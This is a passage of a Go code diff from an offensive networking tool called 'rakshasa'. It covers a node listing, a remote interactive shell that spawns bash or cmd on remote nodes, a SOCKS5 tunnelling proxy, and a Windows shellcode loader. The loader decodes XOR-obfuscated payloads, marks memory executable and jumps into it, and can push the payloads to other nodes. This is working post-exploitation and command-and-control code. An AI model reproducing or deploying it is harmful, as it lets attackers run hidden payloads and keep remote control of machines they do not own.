time.Sleep(time.Millisecond * 100)
|
||||
case -1:
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
tick := time.NewTicker(common.CMD_TIMEOUT / 2)
|
||||
for {
|
||||
|
||||
select {
|
||||
case b := <-s.inChan:
|
||||
s.pong = time.Now().Unix()
|
||||
if len(b) > 0 {
|
||||
b, err := s.translate(b)
|
||||
if err != nil {
|
||||
c.Println("shell 运行失败", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Print(string(b))
|
||||
}
|
||||
|
||||
case v := <-res:
|
||||
if err, ok := v.(error); ok {
|
||||
if err.Error() != "退出shell" {
|
||||
c.Println("运行shell", param, "失败", err)
|
||||
}
|
||||
|
||||
} else {
|
||||
c.Println("无法处理消息", v)
|
||||
}
|
||||
return
|
||||
case <-tick.C:
|
||||
s.ping = time.Now().Unix()
|
||||
if s.ping-s.pong > int64(common.CMD_TIMEOUT/time.Second) {
|
||||
c.Println("shell time out")
|
||||
return
|
||||
}
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, nil)
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "remoteshell",
|
||||
Help: "远程shell",
|
||||
Func: func(c *ishell.Context) {
|
||||
remoteShell.Run()
|
||||
},
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
// 打印节点
|
||||
func printNodes(c *ishell.Context) {
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
var list []*node
|
||||
for _, n := range nodeMap {
|
||||
list = append(list, n)
|
||||
}
|
||||
orderNode(list)
|
||||
c.Println("ID UUID HostName GOOS IP listenIP")
|
||||
c.Println("-----------------------------------------------------------------------------------------------------------------------------")
|
||||
for k, n := range list {
|
||||
n.id = k + 1
|
||||
hostname := bytes.Repeat([]byte(" "), 22)
|
||||
copy(hostname, n.hostName)
|
||||
ip := bytes.Repeat([]byte(" "), 23)
|
||||
if n.uuid == currentNode.uuid {
|
||||
|
||||
copy(ip, "(localhost)"+":"+strconv.Itoa(n.port))
|
||||
} else {
|
||||
copy(ip, n.addr+":"+strconv.Itoa(n.port))
|
||||
}
|
||||
|
||||
var s []string
|
||||
for _, ip := range n.mainIp {
|
||||
if ip != "" {
|
||||
s = append(s, ip+":"+strconv.Itoa(n.port))
|
||||
}
|
||||
}
|
||||
listenip := strings.Join(s, ",")
|
||||
goos := bytes.Repeat([]byte(" "), 11)
|
||||
copy(goos, n.goos)
|
||||
c.Printf("%2d %s %s %s %s %s\n", n.id, n.uuid, hostname, goos, ip, listenip)
|
||||
}
|
||||
}
|
||||
|
||||
func realpath(path string) string {
|
||||
|
||||
path_s := strings.Split(path, "/")
|
||||
realpath := []string{}
|
||||
if len(path_s) == 0 {
|
||||
return "error"
|
||||
}
|
||||
for _, value := range path_s {
|
||||
|
||||
if value == ".." {
|
||||
k := len(realpath)
|
||||
kk := k - 1
|
||||
realpath = append(realpath[:kk], realpath[k:]...)
|
||||
} else {
|
||||
realpath = append(realpath, value)
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(realpath, "/")
|
||||
}
|
||||
func printConn() {
|
||||
connMap.Range(func(key, value interface{}) bool {
|
||||
fmt.Println(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
func getNode(arg string) (*node, error) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
id, err := strconv.Atoi(arg)
|
||||
|
||||
if err == nil {
|
||||
for _, n := range nodeMap {
|
||||
if n.id == id && n.uuid != currentNode.uuid {
|
||||
l.RUnlock()
|
||||
return n, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid {
|
||||
l.RUnlock()
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
l.RUnlock()
|
||||
|
||||
return connectNew(arg)
|
||||
}
|
||||
func getNodeWithCurrentNode(arg string) (*node, error) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
id, err := strconv.Atoi(arg)
|
||||
|
||||
if err == nil {
|
||||
for _, n := range nodeMap {
|
||||
if n.id == id {
|
||||
l.RUnlock()
|
||||
return n, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v, ok := nodeMap[arg]; ok {
|
||||
l.RUnlock()
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
l.RUnlock()
|
||||
|
||||
return connectNew(arg)
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
//go:build linux || darwin
|
||||
// +build linux darwin
|
||||
|
||||
package server
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os/exec"
|
||||
"rakshasa/common"
|
||||
"time"
|
||||
|
||||
"github.com/creack/pty"
|
||||
)
|
||||
|
||||
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
|
||||
if param.Param == "" {
|
||||
param.Param = "/bin/bash"
|
||||
}
|
||||
shellMapLock.Lock()
|
||||
defer func() {
|
||||
if err := recover(); err != nil && common.Debug {
|
||||
fmt.Printf("错误 %+v\n", err)
|
||||
}
|
||||
shellMapLock.Unlock()
|
||||
}()
|
||||
|
||||
cmd := &remoteCmd{
|
||||
id: common.GetID(),
|
||||
inChan: make(chan []byte),
|
||||
|
||||
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||
pong: time.Now().Unix(),
|
||||
}
|
||||
|
||||
cmd.cmd = exec.Command(param.Param)
|
||||
f, err := pty.StartWithSize(cmd.cmd, param.Size)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
cmd.stdin = f
|
||||
outErr := make(chan error, 999)
|
||||
|
||||
n.shellMap.Store(cmd.id, cmd)
|
||||
|
||||
go func(cmd *remoteCmd) {
|
||||
defer func() {
|
||||
n.shellMap.Delete(cmd.id)
|
||||
f.Close()
|
||||
cmd.stdin.Close()
|
||||
}()
|
||||
errChan := make(chan error, 999)
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case b := <-cmd.inChan:
|
||||
if len(b) == 0 { //ping数据包
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
|
||||
} else {
|
||||
|
||||
_, err = cmd.stdin.Write(b)
|
||||
if err != nil {
|
||||
errChan <- err
|
||||
}
|
||||
}
|
||||
|
||||
case err = <-errChan:
|
||||
if common.Debug {
|
||||
fmt.Println(cmd.id, "错误关闭", err)
|
||||
}
|
||||
cmd.cmd.Process.Kill()
|
||||
case err = <-outErr:
|
||||
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
|
||||
cmd.cmd.Process.Kill()
|
||||
return
|
||||
case <-time.After(common.CMD_TIMEOUT): //避免超时
|
||||
cmd.cmd.Process.Kill()
|
||||
return
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
for {
|
||||
num, err2 := f.Read(buf)
|
||||
if err2 != nil || io.EOF == err2 {
|
||||
outErr <- errors.New("退出shell")
|
||||
break
|
||||
}
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
cmd.cmd.Wait()
|
||||
}(cmd)
|
||||
n.Write(common.CMD_SHELL_RESULT, msgid, []byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 1})
|
||||
return nil
|
||||
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package server
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"rakshasa/common"
|
||||
"time"
|
||||
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
|
||||
if param.Param == "" {
|
||||
param.Param = "cmd"
|
||||
}
|
||||
shellMapLock.Lock()
|
||||
defer func() {
|
||||
if err := recover(); err != nil && common.Debug {
|
||||
fmt.Printf("错误 %+v\n", err)
|
||||
}
|
||||
shellMapLock.Unlock()
|
||||
}()
|
||||
|
||||
cmd := &remoteCmd{
|
||||
id: common.GetID(),
|
||||
inChan: make(chan []byte),
|
||||
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||
pong: time.Now().Unix(),
|
||||
}
|
||||
|
||||
c := exec.Command("chcp")
|
||||
res, err := c.Output()
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
cmd.cmd = exec.Command(param.Param)
|
||||
|
||||
stdout, err := cmd.cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
cmd.stdin, err = cmd.cmd.StdinPipe()
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
stderr, err := cmd.cmd.StderrPipe()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = cmd.cmd.Start()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
outErr := make(chan error, 999)
|
||||
n.shellMap.Store(cmd.id, cmd)
|
||||
|
||||
go func(cmd *remoteCmd) {
|
||||
defer func() {
|
||||
n.shellMap.Delete(cmd.id)
|
||||
stdout.Close()
|
||||
cmd.stdin.Close()
|
||||
cmd.cmd.Process.Kill()
|
||||
}()
|
||||
var errchan = make(chan error, 10)
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case b := <-cmd.inChan:
|
||||
if len(b) == 0 { //ping数据包
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
|
||||
} else {
|
||||
_, err = cmd.stdin.Write(b)
|
||||
if err != nil {
|
||||
errchan <- err
|
||||
}
|
||||
}
|
||||
|
||||
case err = <-errchan:
|
||||
if common.Debug {
|
||||
fmt.Println(cmd.id, "错误关闭", err)
|
||||
}
|
||||
cmd.cmd.Process.Kill()
|
||||
case err = <-outErr:
|
||||
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
|
||||
cmd.cmd.Process.Kill()
|
||||
return
|
||||
case <-time.After(common.CMD_TIMEOUT): //避免超时
|
||||
|
||||
cmd.cmd.Process.Kill()
|
||||
return
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
for {
|
||||
num, err2 := stdout.Read(buf)
|
||||
if err2 != nil || io.EOF == err2 {
|
||||
outErr <- errors.New("退出shell")
|
||||
|
||||
break
|
||||
}
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||
|
||||
}
|
||||
|
||||
}()
|
||||
go func() {
|
||||
buf := make([]byte, 1024)
|
||||
for {
|
||||
num, err2 := stderr.Read(buf)
|
||||
if err2 != nil || io.EOF == err2 {
|
||||
|
||||
break
|
||||
}
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||
//output, _ := libraries.GbkToUtf8(buf[:n])
|
||||
|
||||
}
|
||||
}()
|
||||
cmd.cmd.Wait()
|
||||
}(cmd)
|
||||
|
||||
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 0}, res...))
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
|
||||
type ShellCodeStruct struct {
|
||||
Str string
|
||||
Key string
|
||||
Param string
|
||||
TimeOut int //second
|
||||
}
|
||||
|
||||
func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error {
|
||||
|
||||
if dst != "" {
|
||||
n, err := getNodeWithCurrentNode(dst)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法链接节点%s,错误%v", dst, err)
|
||||
}
|
||||
s := ShellCodeStruct{
|
||||
Str: shellcode,
|
||||
Key: xorKey,
|
||||
Param: param,
|
||||
TimeOut: timeout,
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
return doShellcode(s)
|
||||
}
|
||||
res := make(chan interface{}, 1)
|
||||
id := n.storeQuery(res)
|
||||
|
||||
b, _ := json.Marshal(s)
|
||||
n.Write(common.CMD_RUN_SHELLCODE, id, b)
|
||||
select {
|
||||
case v := <-res:
|
||||
fmt.Println("运行结果\n", v)
|
||||
case <-time.After(time.Second * time.Duration(timeout) * 2):
|
||||
fmt.Println("运行超时无结果")
|
||||
}
|
||||
} else {
|
||||
|
||||
b, err := ioutil.ReadFile(shellcode)
|
||||
if err != nil {
|
||||
return currentNodeRunShellcode(shellcode, xorKey, param)
|
||||
} else {
|
||||
return currentNodeRunShellcode(string(b), xorKey, param)
|
||||
}
|
||||
|
||||
}
|
||||
return nil
|
||||
}
|
||||
func currentNodeRunShellcode(shellcode, xorKey, param string) error {
|
||||
|
||||
common.ChangeArg(param)
|
||||
b, err := hex.DecodeString(shellcode)
|
||||
|
||||
if err != nil {
|
||||
b, err = base64.RawStdEncoding.DecodeString(shellcode)
|
||||
}
|
||||
if err != nil {
|
||||
b = []byte(shellcode)
|
||||
//fmt.Println(err)
|
||||
//return errors.New("shellcode hex/base64 解码失败")
|
||||
}
|
||||
|
||||
if len(xorKey) > 0 {
|
||||
for i := 0; i < len(b); i++ {
|
||||
k := i % (len(xorKey))
|
||||
b[i] = b[i] ^ xorKey[k]
|
||||
}
|
||||
}
|
||||
|
||||
shellcodeRun(b)
|
||||
return nil
|
||||
}
|
||||
func init() {
|
||||
shellcode := cliInit()
|
||||
shellcode.SetPrompt("rakshasa\\shellcode>")
|
||||
shellcode.AddCmd(&ishell.Cmd{
|
||||
Name: "run",
|
||||
|
||||
Help: "运行shellcode,参数一为目标节点,参数二为shellcode代码或者本地文件,参数三为xor解密key,参数四为启动参数,参数五为等待时间(默认3秒)",
|
||||
Func: func(c *ishell.Context) {
|
||||
|
||||
if len(c.Args) < 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
xorKey := ""
|
||||
if len(c.Args) > 2 {
|
||||
xorKey = c.Args[2]
|
||||
}
|
||||
param := ""
|
||||
if len(c.Args) > 3 {
|
||||
param = c.Args[3]
|
||||
}
|
||||
b, err := ioutil.ReadFile(c.Args[0])
|
||||
if err != nil {
|
||||
b = []byte(c.Args[0])
|
||||
}
|
||||
timeout := 3
|
||||
if len(c.Args) > 4 {
|
||||
t, err := strconv.Atoi(c.Args[4])
|
||||
if err == nil {
|
||||
timeout = t
|
||||
}
|
||||
}
|
||||
err = RunShellcodeWithDst(string(b), c.Args[1], xorKey, param, timeout)
|
||||
if err != nil {
|
||||
c.Println(err)
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "shellcode",
|
||||
Help: "执行shellcode",
|
||||
Func: func(c *ishell.Context) {
|
||||
shellcode.Run()
|
||||
},
|
||||
})
|
||||
|
||||
}
|
||||
func doShellcode(s ShellCodeStruct) error {
|
||||
|
||||
path, _ := os.Executable()
|
||||
_, exeName := filepath.Split(path)
|
||||
|
||||
cmd := exec.Command("./"+exeName, "-shellcode", s.Str, "-sXor", s.Key, "-sParam", s.Param)
|
||||
reschan := make(chan string, 2)
|
||||
|
||||
go func() {
|
||||
r, _ := cmd.CombinedOutput()
|
||||
|
||||
reschan <- string(r)
|
||||
|
||||
}()
|
||||
select {
|
||||
case res := <-reschan:
|
||||
return errors.New(res)
|
||||
case <-time.After(time.Second * (time.Duration(s.TimeOut))):
|
||||
return errors.New("已执行,等待超时")
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build linux || darwin
|
||||
// +build linux darwin
|
||||
|
||||
package server
|
||||
|
||||
import "errors"
|
||||
|
||||
func shellcodeRun(b []byte) error {
|
||||
return errors.New("linux暂不支持")
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package server
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
kernel32 = syscall.MustLoadDLL("kernel32.dll")
|
||||
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
|
||||
old32 = syscall.MustLoadDLL("ole32.dll")
|
||||
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
|
||||
)
|
||||
|
||||
func shellcodeRun(code []byte) error {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
}()
|
||||
l := uintptr(len(code))
|
||||
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
|
||||
|
||||
var old int
|
||||
_, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old)))
|
||||
h := [3]uintptr{pwstrLocal, l, l}
|
||||
s := *(*[]byte)(unsafe.Pointer(&h))
|
||||
|
||||
copy(s, code)
|
||||
|
||||
syscall.Syscall(pwstrLocal, 0, 0, 0, 0)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,585 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"log"
|
||||
"net"
|
||||
"rakshasa/common"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
|
||||
const (
|
||||
STATUS_OFF = 0
|
||||
STATUS_ON = 1
|
||||
UDP_PORT_MIN = 30000
|
||||
UDP_PORT_MAX = 60000
|
||||
SOCKES5_VERSION = 5
|
||||
)
|
||||
|
||||
var (
|
||||
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||
SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2}
|
||||
|
||||
PROTOCOL_ERR = errors.New("protocolErr")
|
||||
)
|
||||
|
||||
const (
|
||||
SERVER_NUM = 4 //有效的连接数量
|
||||
CONN_AUTH_CLOSE = 0
|
||||
CONN_AUTH_NONE = 1
|
||||
CONN_AUTH_PW = 2
|
||||
CONN_AUTH_OK = 3
|
||||
CONN_AUTH_MESSAGE = 4
|
||||
CONN_REMOTE_CLOSE = 0
|
||||
CONN_REMOTE_OPEN = 1
|
||||
)
|
||||
|
||||
type clientConnect struct {
|
||||
cfg *common.Addr
|
||||
windowsSize int64
|
||||
isClose int32
|
||||
conn net.Conn
|
||||
udpConn net.Conn
|
||||
|
||||
remote int32
|
||||
auth int
|
||||
server *node
|
||||
id uint32
|
||||
wait chan int
|
||||
close string
|
||||
|
||||
udpMap sync.Map
|
||||
udpRepData []byte
|
||||
addrData []byte
|
||||
|
||||
listenId uint32
|
||||
}
|
||||
|
||||
func (s *clientConnect) Write(b []byte) {
|
||||
|
||||
switch b[0] {
|
||||
|
||||
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||
|
||||
switch common.NetWork(b[1]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
|
||||
if b[2] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
} else {
|
||||
|
||||
//发送成功消息
|
||||
s.auth = CONN_AUTH_MESSAGE
|
||||
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
|
||||
}
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
s.auth = CONN_AUTH_MESSAGE
|
||||
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
|
||||
case common.RAW_TCP:
|
||||
if b[2] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
}
|
||||
default:
|
||||
log.Println("未处理")
|
||||
}
|
||||
|
||||
case common.CMD_CONN_MSG:
|
||||
if common.Debug {
|
||||
|
||||
fmt.Println("收到", crc32.ChecksumIEEE(b[1:]), len(b[1:]))
|
||||
}
|
||||
s.conn.Write(b[1:])
|
||||
s.Addwindow(int64(-len(b[1:])))
|
||||
case common.CMD_CONN_UDP_MSG:
|
||||
s.udpConn.Write(b[1:])
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
var remoteClose = "服务器要求远程关闭"
|
||||
|
||||
func (s *clientConnect) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
|
||||
|
||||
<-s.wait
|
||||
s.wait <- common.CONN_STATUS_CLOSE
|
||||
s.auth = CONN_AUTH_CLOSE
|
||||
s.server.connMap.Delete(s.id)
|
||||
|
||||
if msg == "" {
|
||||
msg = "未知关闭"
|
||||
}
|
||||
s.close = msg
|
||||
if msg == remoteClose {
|
||||
s.remote = CONN_REMOTE_CLOSE
|
||||
} else if s.remote == CONN_REMOTE_OPEN {
|
||||
s.remote = CONN_REMOTE_CLOSE
|
||||
s.Remoteclose()
|
||||
}
|
||||
if common.Debug {
|
||||
fmt.Println("close 原因", msg)
|
||||
}
|
||||
s.conn.Close()
|
||||
if s.udpConn != nil {
|
||||
s.udpConn.Close()
|
||||
}
|
||||
s.udpMap.Range(func(k, _ interface{}) bool {
|
||||
s.udpMap.Delete(k)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
func (s *clientConnect) Addwindow(window int64) {
|
||||
|
||||
windows_size := atomic.AddInt64(&s.windowsSize, window)
|
||||
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
|
||||
|
||||
if windows_size < windows_update_size/2 { //扩大窗口
|
||||
if size := windows_update_size - s.windowsSize; size > 0 {
|
||||
atomic.AddInt64(&s.windowsSize, size)
|
||||
|
||||
go func() {
|
||||
buf := make([]byte, 8)
|
||||
buf[0] = byte(size & 255)
|
||||
buf[1] = byte(size >> 8 & 255)
|
||||
buf[2] = byte(size >> 16 & 255)
|
||||
buf[3] = byte(size >> 24 & 255)
|
||||
buf[4] = byte(size >> 32 & 255)
|
||||
buf[5] = byte(size >> 40 & 255)
|
||||
buf[6] = byte(size >> 48 & 255)
|
||||
buf[7] = byte(size >> 56 & 255)
|
||||
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
|
||||
}()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func StartSocks5(cfg *common.Addr, dst []string) error {
|
||||
var target *node
|
||||
var err error
|
||||
if len(dst) == 0 {
|
||||
target = currentNode
|
||||
} else {
|
||||
target, err = GetNodeFromAddrs(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
l := &clientListen{
|
||||
|
||||
server: target,
|
||||
localAddr: cfg.Addr(),
|
||||
id: common.GetID(),
|
||||
typ: "socks5",
|
||||
}
|
||||
l.listen, err = StartSocks5WithServer(cfg, target, l.id)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
return nil
|
||||
}
|
||||
func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener, error) {
|
||||
l, err := net.Listen("tcp", cfg.Addr())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
fmt.Println("socks5 start ", cfg.Addr())
|
||||
go func() {
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
c := &clientConnect{
|
||||
cfg: cfg,
|
||||
conn: conn,
|
||||
server: n,
|
||||
listenId: id,
|
||||
}
|
||||
|
||||
go handleSocks5Local(c)
|
||||
|
||||
}
|
||||
}()
|
||||
return l, nil
|
||||
}
|
||||
|
||||
func (s *clientConnect) OnOpened() (close bool) {
|
||||
s.wait = make(chan int, 1)
|
||||
s.auth = CONN_AUTH_NONE
|
||||
s.remote = CONN_REMOTE_OPEN
|
||||
s.windowsSize = 0
|
||||
s.wait <- common.CONN_STATUS_OK
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// 监听本地服务
|
||||
func handleSocks5Local(s *clientConnect) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Println(err)
|
||||
debug.PrintStack()
|
||||
}
|
||||
}()
|
||||
b := make([]byte, common.MAX_PLAINTEXT-8)
|
||||
if s.OnOpened() {
|
||||
s.Close("无法获得服务器连接")
|
||||
}
|
||||
for {
|
||||
n, err := s.conn.Read(b)
|
||||
if err != nil {
|
||||
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
data := b[:n]
|
||||
|
||||
switch s.auth {
|
||||
case CONN_AUTH_NONE:
|
||||
|
||||
if len(data) > 2 {
|
||||
if data[0] == 5 {
|
||||
if s.cfg.User() != "" && s.cfg.Password() != "" {
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES)
|
||||
s.auth = CONN_AUTH_PW
|
||||
} else {
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES)
|
||||
s.auth = CONN_AUTH_OK
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
case CONN_AUTH_PW:
|
||||
|
||||
if s.cfg.User() != "" && s.cfg.Password() != "" {
|
||||
if len(data) > 4 {
|
||||
defer recover()
|
||||
user := string(data[2 : 2+data[1]])
|
||||
password := string(data[3+data[1] : 3+data[1]+data[2+data[1]]])
|
||||
if user == s.cfg.User() && password == s.cfg.Password() {
|
||||
s.conn.Write([]byte{5, 0})
|
||||
|
||||
s.auth = CONN_AUTH_OK
|
||||
} else {
|
||||
s.conn.Write([]byte{5, 1})
|
||||
}
|
||||
}
|
||||
} else {
|
||||
s.conn.Write([]byte{5, 0})
|
||||
s.auth = CONN_AUTH_OK
|
||||
}
|
||||
|
||||
case CONN_AUTH_OK:
|
||||
|
||||
s.addrData = data[3:]
|
||||
switch common.NetWork(data[1]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
addr, port := socks5ReadAddr(data)
|
||||
|
||||
s.connect(common.SOCKS5_CMD_CONNECT, addr, port)
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
addr, port := socks5ReadAddr(data)
|
||||
s.connect(common.SOCKS5_CMD_BIND, addr, port)
|
||||
case common.SOCKS5_CMD_UDP:
|
||||
|
||||
localIP := s.conn.LocalAddr().String()
|
||||
localIP = localIP[:strings.Index(localIP, ":")]
|
||||
//找一个能用的udp端口
|
||||
var port uint16
|
||||
for i := uint16(UDP_PORT_MIN); i <= UDP_PORT_MAX; i++ {
|
||||
s.udpConn, err = net.ListenUDP("udp", &net.UDPAddr{
|
||||
IP: net.ParseIP(localIP),
|
||||
Port: int(i),
|
||||
})
|
||||
if err == nil {
|
||||
port = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if s.udpConn == nil {
|
||||
data[0] = 5
|
||||
data[1] = 1 //RepRuleFailure
|
||||
s.conn.Write(data)
|
||||
continue
|
||||
}
|
||||
repdata := []byte{5, 0, 0, 1, 0, 0, 0, 0, byte(port >> 8), byte(port)}
|
||||
ipb := ipToByte(localIP)
|
||||
addr, port := socks5ReadAddr(data)
|
||||
|
||||
s.connect(common.SOCKS5_CMD_UDP, addr, port)
|
||||
|
||||
copy(repdata[4:], ipb)
|
||||
s.conn.Write(repdata)
|
||||
go handleSocks5Udp(s)
|
||||
default:
|
||||
data[0] = 5
|
||||
data[1] = 7 //RepCmdNotSupported
|
||||
s.conn.Write(data)
|
||||
}
|
||||
|
||||
case CONN_AUTH_MESSAGE:
|
||||
|
||||
//binary.LittleEndian.PutUint32(outbuf[5:], crc32.ChecksumIEEE(data)+conn.msgno)
|
||||
//conn.msgno++
|
||||
|
||||
var new_size int64
|
||||
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||
atomic.AddInt64(&s.windowsSize, new_size)
|
||||
|
||||
} else {
|
||||
new_size = 0
|
||||
}
|
||||
buf := make([]byte, 8)
|
||||
buf[0] = byte(new_size)
|
||||
buf[1] = byte(new_size >> 8)
|
||||
buf[2] = byte(new_size >> 16)
|
||||
buf[3] = byte(new_size >> 24)
|
||||
buf[4] = byte(new_size >> 32)
|
||||
buf[5] = byte(new_size >> 40)
|
||||
buf[6] = byte(new_size >> 48)
|
||||
buf[7] = byte(new_size >> 56)
|
||||
if common.Debug {
|
||||
fmt.Println("发送", crc32.ChecksumIEEE(data), len(data))
|
||||
}
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, append(buf, data...))
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
func handleSocks5Udp(s *clientConnect) {
|
||||
var b = make([]byte, 65535)
|
||||
for {
|
||||
n, err := s.udpConn.Read(b)
|
||||
if err != nil {
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
data := b[:n]
|
||||
if b[2] != 0 {
|
||||
//不支持分片
|
||||
continue
|
||||
}
|
||||
|
||||
data = data[3:]
|
||||
common.GetIDLock.Lock()
|
||||
var udpid uint32
|
||||
switch data[0] {
|
||||
case 1:
|
||||
ip := fmt.Sprintf("%d.%d.%d.%d:%d", data[1], data[2], data[3], data[4], int(data[5])<<8|int(data[6]))
|
||||
if v, ok := s.udpMap.Load(ip); !ok {
|
||||
|
||||
udps := &clientConnect{
|
||||
server: s.server,
|
||||
}
|
||||
udps.udpConn = s.udpConn
|
||||
